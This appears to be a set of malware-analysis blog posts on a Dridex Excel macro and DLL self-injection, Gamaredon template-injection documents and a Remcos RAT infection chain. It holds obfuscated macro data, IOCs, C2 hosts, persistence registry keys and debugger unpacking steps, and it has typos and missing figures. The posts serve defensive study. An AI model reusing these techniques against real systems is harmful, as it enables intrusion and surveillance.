progress_bars = Replace(String(4, "Z"), "Z", df)
End Function
Function book_rebook(y As String, k As Integer)
book_rebook = Mid(y, k, 1)
End Function

Second: Unlock the document by using EvilClippy tool which removes the malicious macro. Open the new version and create new macro and paste the above VBA code. Previous incidents involve Dridex also notice the use of EvilClippy use

[Figure 4] Unlocking the xlsm file

Before debugging the code, the main sheet and the three hidden ones got some characters white colored spread among cells by 7×7000 size. After a bit of cleaning they appear be random, but not encoded. Below are the sheet characters.

[Figure 5] Random cells from Excel file
dt:lsawoqnczDDts/amki.thhm.rDhp/asrotnsezv2zDDts/kaacrohw.pDhp/ia.inbnitaidliiD1t:ruehoj0izDDts/slntnthoqoh.rDhp/wkxec/c06iDct:w.chdac/7b.rDhp/oraaiobhzd.pDhp/rnuoododh0zDDts/alaict.myezDDts/rea.mkfarDDts/naiur.pDhp/h.oneoc7wzDDts/iclerimzizDDts/lbenc/x4raDvt:blyean8a.pDhp/ada.mz6rDDts/laict.m4tdrDDts/lglgc/5eaDgt:hero/b7iD9t:n.ur.m07tzDDts/thosyf.pDhp/c../gaaD8t:a.tcnsog0.rDhp/us.btr99iDwt:di.e.tp5y.pDhp/earcsoaqwi.rDhp/srgcpioom3.rDhp/uittbeottfiD2t:aecsc/wkxiDzt:w.reaocvj.pDhp/leye.m12.rDhp/raepainantuizDDts/tpsoxls.pDhp/c.fnybzDDts/bhesuoc/wlzDDts/iaaalglc/3c.pDhp/wstnrc/rn.rDhp/leeseoc./b9.pDhp/kdsi/23iDrt:gaa.tfj3aDyt:jabdeismooq.pDhp/psnniorgzDDts/rweamic/j9ciD5t:kbdnsnd5.pDhp/wi3.mjpviDbt:miad.naqcket.mt61aD9t:hbertainan2w.pDhp/esolteec/59rDDts/ytne.lo.mmd.rDhp/hhssteln.mjarDDts/nnei.nngcc/r3.rDhp/aicigtoaDft:sorioao.fp3hiDat:kiotsgqozaDgt:diloid1g.rDhp/sodi.msn.pDhp/5iltotnc/l6zDDts/dnai/0q.rDhp/aueegc/oxiDqt:talefc/y3.rDhp/mq.fht.pDhp/ofpr../ft5iDct:siamesezezDDts/bxobep6zDDts/jai.mab.m6tzDDts/sse.m3udzDDts/eoslromcczDDts/jmuac/d4aDgt:tebobae.rDhp/rdeeun/gl9iDzt:lsgo.m3zprDDts/svo.mrdwuaDjt:bbt.o/bviDtt:hkdc/4t.rDhp/rnapnnosopt.rDhp/uakrdeaotgiiDpt:qndba.m5mezDDts/lbf.mrlszDDts/dpcdsodln.pDhp/aa.mvsrDDts/rn.mkpciDit:ahcmt./77.rDhp/deu.e.tud.pDhp/ciesoc/spzDDts/sraaoi/wnaDot:w.nvi.g2rrDDts/aspow1diDxt:w.armic/3kzDDts/fdtgsc/yhziDut:mnac/y5ziDdt:weiantc/9h.rDhp/u.mab.m80zDDts/btbsli.mfjjzDDts/rgr.mddjzDDts/rhtc/flaDjt:noteamic/1piDnt:cle.m2trDDts/iceacdsoqpr.pDhp/eaiasi/l1.rDhp/lsenaolp0iDkt:tteynaodkfaDrt:cpavau.tpemrDDts/ceirwh.pDhp/uaaoa.t95arDDts/ise.m4ocaDot:ctgcsobdf.rDhp/eoleolaedc/is.pDhp/dheaohgniD9t:ccerfdxzDDts/libdc/rkiDtt:ovioilsrewjzDDts/rsrc/03aD2t:ispc/ejzDDts/olts1ld./gfzDDts/pra.fj2.pDhp/piipa.rDhp/eaatknti.mwceiDmt:mlerefec/up.pDhp/aacwqprDDts/r.mab.mxn.pDhp/io.narc/laz))TA(i"H(1++TA(A")+ENEh"\++(NB(AHd,TOSC1),O(L)+S.M""3)+AEK(U++TA(kcl+CC.YR)+ENEv,"+S.M"gw,"klxh"th++TA(e"S&&l++TA(bLTEWKA()FDRmgG.RPE311&olh&"i&ph)+EVUBb++TA(bLTH(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29,N)+&d"+S.L(,)+A(go"&gw",&&C"A,&"kn"&&s"0  ba0)+I.O(L)

Sheet 2
Sheet 3

ts/nhoc/5y.pDhp/hkrtgi/vbxaDtt:leosuo.tvqc.pDhp/iwsaac/pwiD6t:lryramitu../bfzDDts/orcc/oh.pDhp/lqimiocc/eu8aD3t:w.oe.mry5zDDts/wsaeb.mprxaD6t:cpmsuc./stdiDmt:gelcpnc/yl.pDhp/t.ccynrovm.pDhp/acesoz0j.rDhp/irb/tiiD4t:spoalc/f1.pDhp/aalgo./05.pDhp/lolo.mrdxrDDts/lemiidyviD0t:meceog0.rDhp/.ccynromns.rDhp/kpoe.m1trDDts/so.ghbzDDts/odptoexx.pDhp/ucc./49iDlt:bgoae1rDDts/pusicc/suaD4t:paiei/v7zDDts/nldsi/asliDft:nmeioc./3t7aDvt:st.-mtdc/o1aD0t:hfgninc/lwzDDts/hap.mqlgzDDts/watrc./juiDct:ivarkozvyaDrt:amha.oiiiven.pDhp/equc/0uliDzt:gmn/93.pDhp/etbsli.m0a.pDhp/rhtyoen.mgnviD0t:w.iii.mmq9aD5t:erdoui.mrtfiiDat:uivsenxzDDts/iesi/o2rDDts/m.lrtnac/h0iDut:woao.fxi.pDhp/oa.mab.mpo4zDDts/arrwilqziDct:w.m3ooyczDDts/brtvirtisnirovl6rDDts/rltc.oiiiiwpiD1t:valaict.mcz.rDhp/gtoybothod8waDgt:skrnitaoaotu.rDhp/oe-geaoan.mi8iaD8t:ts../izrDDts/hah.mgyn/f4zDDts/cnolnetqrDDts/gax./d92aDbt:dfntnook3iD7t:5faasuo.mnq.pDhp/aevselo3aDyt:cmwdi.mqzzDDts/yhti.mwemaDmt:esen/fqiDrt:ni.izon44gzDDts/gtit.tmx.pDhp/woc./pc.pDhp/acpglmolofy.pDhp/mcdsor1e.pDhp/obiiec/69.pDhp/rnjd.m3crDDts/uyc/i86aD4t:muept.t0jkzDDts/toykollz.rDhp/frysobg2grDDts/moatedzzDDts/ca.m7vnaDft:sevaiiwkc/b6aDat:qbaannic/8dzDDts/iaaceok93.pDhp/eiftobhe.pDhp/oa.tvc/u8xiDet:ssdoty.rDhp/oodoigozDDts/p-esyrsrkaD7t:errtdsi/k3iDyt:evlai.myy.pDhp/uagw.leb9rDDts/wievargn.rDhp/geoc/sczDDts/wdons.m3a.pDhp/n.fni.m3r1zDDts/uk.mnkqzDDts/mwhaa.mk00aDdt:cclmoloq2.pDhp/o.eeotnoil2.pDhp/tnhrot9f.pDhp/gsw.m5rrDDts/ce.mab.mvuzDDts/idmoep.rDhp/mhld.tvc/9bmiDst:jtfieseqvqaDvt:beeirc/00zDDts/xrbitc/zurDDts/rrislsedae.rDhp/pd./bnoiDqt:bbktlsezev.rDhp/pcdsocogrDDts/loaec./6yaDut:psapsarnf.mhoxiDvt:atmic/9fzDDts/ico/qj.pDhp/aled.my0zDDts/rsnta.o/nx.pDhp/o-o.mhcrDDts/ti.mby.pDhp/laarainanss.pDhp/ppran/79iDlt:bc./q6aDkt:rtrtlasrsootjzDDts/iwansl.mwlsiD3t:pb./75.rDhp/oalmoloddaiDst:vislsa.m1t.p)ENEclCR0)+ENEm,"+S.M"0")+FSMREC""EWKA() LEAE++TA(0""+CC.YR)+ENEh,l++NLETE+S.M""O++TA(hf"hh"E&&u&)+ENEwb""kl)+ENEb,FG.RPE3(N"an,TOSC2,-)La&0Tclm&0+S.L(,)+ENEa,FCRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)A(8).l++TAE2b+CLe&,"hf&"AACCm00ph","kgro"s&&,0+FELEAE 

When debugging the code it appears to be those random characters spread on sheet cell start forming three arrays. When reading it top to bottom one character at the time it appears to be URLs. After complete running the code it generates over a 100 URL, all the URLs are in Appendix – A

After re-debugging multiple times there appears to be two random IOCs generate. A URL to connect download site and the DLL file name. What’s interesting is that some! Of the generated URLs are not from the list in Appendix -A and that is what Dridex is all about. Below is three samples of random generated IOCs. Further IOC are found in VT.

Finally, the end of this stage is creating a process that use Regsvr23.exe to run the create DLL. The third hidden sheet contains the end/exit function of the VBA. There’s temporary file generated in the %TEMP% folder has a cache version of the macro. Other network and host-based IOCs are found on VT.

[Figure 10]
File NameSHA265File Size
[Table 2] Temporary File Created

2. DLL File with Self-Injection

Up the time writing this post 13/69 of VT engines has detected this file as malicious

[Figure 11] VT

This binary never been seen before the incident and the compiled time from 2009. Other than that there are couple of indicators this file is suspicious like the file size compared to strings, imported and exported sections, and resources section

[Figure 13]

When running this binary on IDA it seem to be too much gray and less code and resources. The binary isn’t detected to be packed in Detect it Easy or PEiD, but there’s high Entropy.

After few rounds on x32dbg it appears to be this binary is using DLL self-injection technique. To put simply there is a hidden code that overwrite the original PE file with new file during runtime. This technique requires to allocate memory space to the hidden code first then extract it the code in the region of the memory. The overwritten happens on memory during runtime and to make it happen it requires two setting two breakpoint (VirtualProtect and VirtualAlloc). Once hitting certain space memory it’s possible to extract.

After few runs and reaching the EntryPoint on x32dbg and being on the right module and setting, it is time to set the breakpoint

[Figure 16] BreakPoints

After hitting Run (F9) few time you reach to a <VirtualAlloc> breakpoint which by checking the EAX register appears to freed up some space

Before running to the next breakpoint let’s make sure what has been allocated by putting breakpoint to return (ret) or just Run Until Return [Figure 18]. return from this function it appears to be some random data has filled up EAX [Figure 19].

When Follow in Memory, it appears that memory space has Execute, Read, and Write which is a sign of hidden code to be executed in the next steps

[Figure 20] Memory Map x32dbg

After another Run [F9] and stop at a second <VirtualAlloc> breakpoint and free up space in memory and by checking EAX dumped value it appears to have nothing. The memory space of the new allocated is also with ERW privileges. It’s the same as the previous stop as the <VirtualAlloc> but this time different memory place and different gibberish values

The next Run (F9) would be stop at <VirtualProtect> when dumping EAX register, there appears to be something close to MZ header! By checking the dump values there are some normal ASCII characters that resembles executable binary. Reaching this point means the next Run (F9) will be overwriting the original PE (Libeay32.dll), in this case, with new file

It’s possible to dump memory location from x32dbg Memory Map, but choosing alternatives is sometimes better like using ProcessHacker. When running ProcessHacker in Administrative mode > selecting the running process inside x32dbg > open Properties > Memory tap > Locate the same memory (0x24f0000) “which is dynamic value different on each run” > Right click and save

When loading this dumped binary in PE-bear, it appears to not having any Imports. Which is normal because it’s been dumped from memory, but it requires fix get things right

The fix requires matching the ‘Raw Addresses’ to match ‘Virtual Addresses’ of this binary. When values matched the Imports section is fixed and shows DLL values

Compared with [Figure 12] the new dumped file seems to be entirely different binary with new compile time by Sep 2020 unlike the original PE which show compilation on 2009

File NameSHA265File Size
[Table 3] Packed file

Appendix – A

DO NOT click at any URL



[1] Indrik Spider,

[2] Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware,

[3] Excel file sample,

[4] DLL file sample,

[5] EvilClippy Github repository,

[6] Excel File VT,

[7] DLL File VT,

[8] Ten process injection techniques: A technical survey of common and trending process injection techniques,

Docx Files Template-Injection

New APT malware samples have been found by Shadow Chaser Group researchers recently, that points to the same attacker group Gamaredon. Two different samples in separate incidents are being analyzed and presented in this post to show the techniques used by the attacker. Also there are interesting findings that have been extracted during dynamic analysis and not been found by sandbox engines. Will focus on the extracted information and techniques and skip the match results.

Sample One: Downloader

Figure -1- Tweet of sample 1

Host-Based IOCs

File NameMD5 hashFile Size
Мои данные.docxfbc037e68f5988df9190cdadf742475224.56 KB
dCiBlGD.dot7467DBBB6DBEA83256B13FB151A594EF 73 bytes
index.datC6DBAAA421E7CC2A51564EC14EE98372244 bytes
sell on office360-expert.onlineE382A34494F25B9F31F8A3745135970E62 bytes
TCD18CC.tmp\CleanGradient.thmxE9294DCC4C80544EFDDD8BCA7F1FFBE657.7 KB
Table -1- Sample one Files basic properties

This malware is a Docx file with (50 4B 03 04) signature that has an embedded xml when extracted (word\_rels\settings.xml.rels) (Figure -2-), it has a URL, which by the time writing this post the link is still active (Figure -3-) [2]

Netword-Based IOC

Table -2- Sample One Connections

Unlike other malware techniques used in similar procedures, when first running this Docx file it’s already too late. As an attack vector, it doesn’t require the victim to Enable Macro in order to serve its malicious purpose.

Since it’s a downloader it only makes sense to find out what is next when running this malware live and infect the computer. Four files been extracted as in (Table -1-) in: (C:\.\.\AppData\Roaming\Microsoft\Office\Recent), and (C:\.\.\AppData\Local\Temp\TCD18CC.tmp\),

There’re dozens of other xx.TMP directories but been created and deleted during the process. The DOT file dCiBlGD is nothing but a shortcut linked to the URL shortcut (sell on which links to the same URL. The current files are almost useless and there doesn’t appear to be a use for template file or any other files in that matter. However, presenting in the following section of this post another sample belongs to the same attacker group which has the use of dot file as a second stage dropper, but more on that in a little bit.

There’s persistent mechanism that might lead to download another files like dot file, or maybe other evasion techniques. What’s missing from VirusTotal behavior [3] is the registry below ‘At least by the time writing this post’. The sample been tested with both MS word 2010 and 2016.

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Internet\Server Cache\

By the time of live analyzing this sample there’s no threat presented yet! However, as a first stage downloader, the attacker successfully made it to place foothold via temp files like dot or (Docs Template) which remains in the temp directory unnoticed, and also set the registry values linking to the suspicious URL.

Sample Two: Dropper

Figure -7- Tweet of sample 2

In what appears to be an older found sample discovered by the same researchers [1] linked to the same attacker group [4]. A dot file is been statically analyzed in this section, so there’s a chance to take a glance at what a dot file might be used for and what evasion and persistent techniques the attacker’s using.

Host-Based IOCs

File NameMD5 hashFile Size
KzGdWvmSq.dotddc38e9b53458ee58504a40fdc41df61216.00 KB
PrintDriver.exed1ab72db2bedd2f255d35da3da0d4b16138.50 KB
Table -3- Sample two Files basic properties

When the dot file KzGdWvmSq made it to victim machine it establishes connection with a C2 sever. And by the time analyzing this sample the C2 servers are not found [5].

Table -4- Sample Two Connections

This malware sample is a wrapper and dropper to a PE executable (printdrive.exe) that runs as process in victim machine. However, this analysis focus more on the code and interesting indicators. Using either or tools in a Remnux machine is a good way to identify VBA streams and extract macros. On this sample it’s clear the macro been detected at the 8th stream.

Figure -8- Oledump streams detected

The extracted macro seems to be decoded and almost every line and function has been obfuscated. With the help of summary table, detection of base64 encoding is helpful.

The use of Document_Close function in this macro VBA is interesting. According to Microsoft documentation [6] the event only happen after closing the open document.

Figure -10- Document_Close Event

Even after decoding the code, there’s still heavy usage of swap functions, but at least the important parts are in clear text as in below IOC snaps. After closing the document, the below lines are executed and (PirntDrive.exe) is up and running in the process.

Couple of registry values been altered during runtime. however, the spotted hardcoded ones are as below and more with the same sample/registry section [7] as persistent mechanism.


HKEY_CURRENT_USER\Software\Microsoft\Office\ & Application.Version & _”\Word\Security\

Compared to the rest of the dot file, the ‘Macros/VBA/ThisDocument‘ file is relatively small. Just in case to avoid missing any other hidden data back to Figure -8- above. Let’s try make use of tool and extracting a possible hidden p-code. There aren’t any hidden, just the fact that the 5th stream ‘Data’ that appears to be the image file in the template embedded in this section. What get the attention in the also is this little overhead as referral to image content.


Shadow Chaser Group for discovering both samples

Update (27 Jan 2021)

Contribution work from Nicko on Github


[1] Shadow Chaser Group,

[2] AnyRun – Sample One,

[3] VirusTotal – Template Injection Malware Sample,

[4] Gamaredon Group by Mitre Att&ck definition,

[5] AnyRun – Sample Two,

[6] Microsoft documentation,

[7] AnyRun – Sample Two Registry Values,

REMCOS RAT Infection

Remote control & Surveillance Software or REMCOS from breaking-security dot net. A lightweight remote administration tool (free and pro) version that been used by system admins professionals for at least its benign premise. Remcos has also appeared in multiple malware campaigns as Remote Access Trojan (RAT). Based on review on the previous analysis done on this malware type it appears to be that adversaries are using almost a similar tactics, but slight optimization in wrapping, obfuscation, and anti-debugging techniques to evade detection at best and to slow analysis for sure.

Remcos RAT infection in short is multi stage infection technique to place foothold in victims’ environment. The adversary uses office documents with hidden script to trick the user. once victim open the document the malicious script begin staging the infection by downloading and running malicious executables in the background. The attacker want to secure persistent in victims environment even after reboot, and placing keylogger as one of the obvious features of this malware.

In my analysis I’ve used different approaches for each of the given artifacts to check the variation with the previous findings [2][3] and what are the attacker methods that been used in this campaign . Both static and dynamic analysis techniques been used to reverse engineer the malware using debuggers, disassemblers, de-obfuscation techniques, and analyzing Windows API functions. In addition, I’ve conducted a live infection session to check if the C2 sever still active.


File NameSHA265
Quotation.xla 05f728ee2f55714446aa32ab842bef2741cb14a25b879dc0f7deb2d25b0fad05
Table -1- Host-based IOCs


TypeFile NameURLPort
DownloaderQuotation.xlatinyurl [.] com443
C2 Serverremcos.exewhatgodcannotdodoestnotexist[.]duckdns[.]org2889
Table -2- Network-based IOCs


I break this section into three based on the stages number on this attack to follow along with the analysis highlighted in the infographic on top.

Stage 1: Spreadsheet

From the first glance of Quotation.xla file’s strings, it’s clear the malicious script calling, downloading and invoke an exe file from tinyurl[.]com. It seems that the attacker is not even trying to obfuscate the scripts in Macro file. So it’s been handed easily.

The Macro contains three PowerShell scripts that download file, set destination directory, and run the file in this order, file name: nm.exe. When dynamically running the Excel file three child cmd and powershell process are running. Capture process tree using ProcMon from SysInternals

When nm.exe first been downloaded to temporary directory then script moved it to %AppData%Roaming to execute. The entire purpose of nm.exe is just to send GET request to another, which makes it only a downloader. No scrambling or any obfuscation methods used in this executable

Here’s Wireshark caption during live attempt to infect the OS without using InetSim, FakeDNS, or ApateDNS, the reason here is to check if the C2 server still active, or any other C2 for that matter. Only the dropper file rthfy.exe been downloaded

Stage 2: Dropper

rthfy.exe is the dropper in this context, which is wrapper to remcos.exe aka the RAT. It’s a .NET 32-bit compiled executable, which is not different than the previous samples that been analyzed in [2]. However, the attacker ‘which I highly suspect is a different person from the one in the previous stage for the following reason’ have used highly obfuscation techniques for anti-debugging purposes. When disassembling the file in dnSpy, it appears to be that almost every function, class, objects, and arrays of the code’s been scrambled. I couldn’t decide which token to use in de4dot in order to clear, but auto clearing helped a bit and got better results to reach the wrapped binaries.

At early debugging stages it’s easy to spot and dump a malicious DLL. However, I didn’t fully analyze this artifact, but recent report [4] and quick google search can show its malicious purposes.

File NameSHA265
Table -3- dumped DLL

SHCore1.dllwhich goes by the name of pTcW.dll from dnSpy point of view!’ helped to locate the cipher algorithm RijndaelManaged. However, I didn’t take full advantage of this finding to de-obfuscate the code because the very file that carries remcos.exe comes just right after couple of Step- into and Step-over and the rest of indicators is just clear text.

When dumping 4O0O in (Figure -7-) ‘which has the MZ header’ and analyzing it separately and checking resources section we can find it carries two binaries: remcos.exe and Wscript.exe (Figure -8-). Wscript has Powershell script that deploys the RAT. But more on that later in the third stage.

Coming snaps wraps up the second staged of this analysis which shows the persistent mechanism used in this attack and execution by calling AddInProcess32.exe.

Stage 3: the RAT

Since this an evasion tool, and there is pro version of it. I’ve took different approach when analyzing remcos.exe which is more of developed hypothesis based on the encountered API calls listed in (Table-4-). To put it simply I was expecting Code Injection and API Hooking to evade detection for three good reasons: –

  1. This RAT could be packed with another code that inject itself into other processes. More of persistent than the very RAT itself.
  2. It’s harder to spot which process to look for in static analysis because the process list might vary so the only way to find out is during debugging. Based on my attempts there’re anti-debugging techniques that makes it difficult to find out.
  3. Code injection, when combined with some form of hooking can also be used to implement a user-mode rootkit!
APIremcos.exe imports
CreateRemoteThreadNot Found
Table -4- API calls to implement Code Injection

The combination of those API calls is a secret recipe for Code Injection technique. However, with the very important API (CreateRemoteThread) ‘which is the mysterious process that’s going to be infected‘ not found in this very sample I dropped the attempts on this approach and continued to the rest of the analysis with terrible disappointment! However, another successful approach to find out if it inject a process or not would involve memory dumping and using Volatility.

The usual analysis

I’ve not got much more indicators between static and dynamic analysis of remcos.exe, and there’s not been major changes than the previous analysis [2][3]. Despite, it doesn’t hurt to try, there still anti-debugging techniques as mentioned above. The only variable is the C2 server! and probably the cipher method attacker/tool is using in this version when encrypting the traffic sent to the C2 server.

Figure -12- remcos.exe and its keylogger

When debugging remcos.exe using x32dbg, tried different breakpoints techniques of API calls such as virtualAlloc and virtualProtect, but couldn’t spot useful indicators other than the given. However, the only breakpoint worked for me to extract C2 server is by breaking into

Finally, As persistent mechanism the infected RAT stays in the register (HKCU\Software\Microsoft\Windows\CurrentVersion\Run)


[1] Remcos malware sample –

[2] New Variant of Remcos RAT observed in the wild, Oct 2019

[3] Analysis: New Remcos RAT Arrives Via Phishing Email, Aug 2019

[4] MalwareBazaar DB –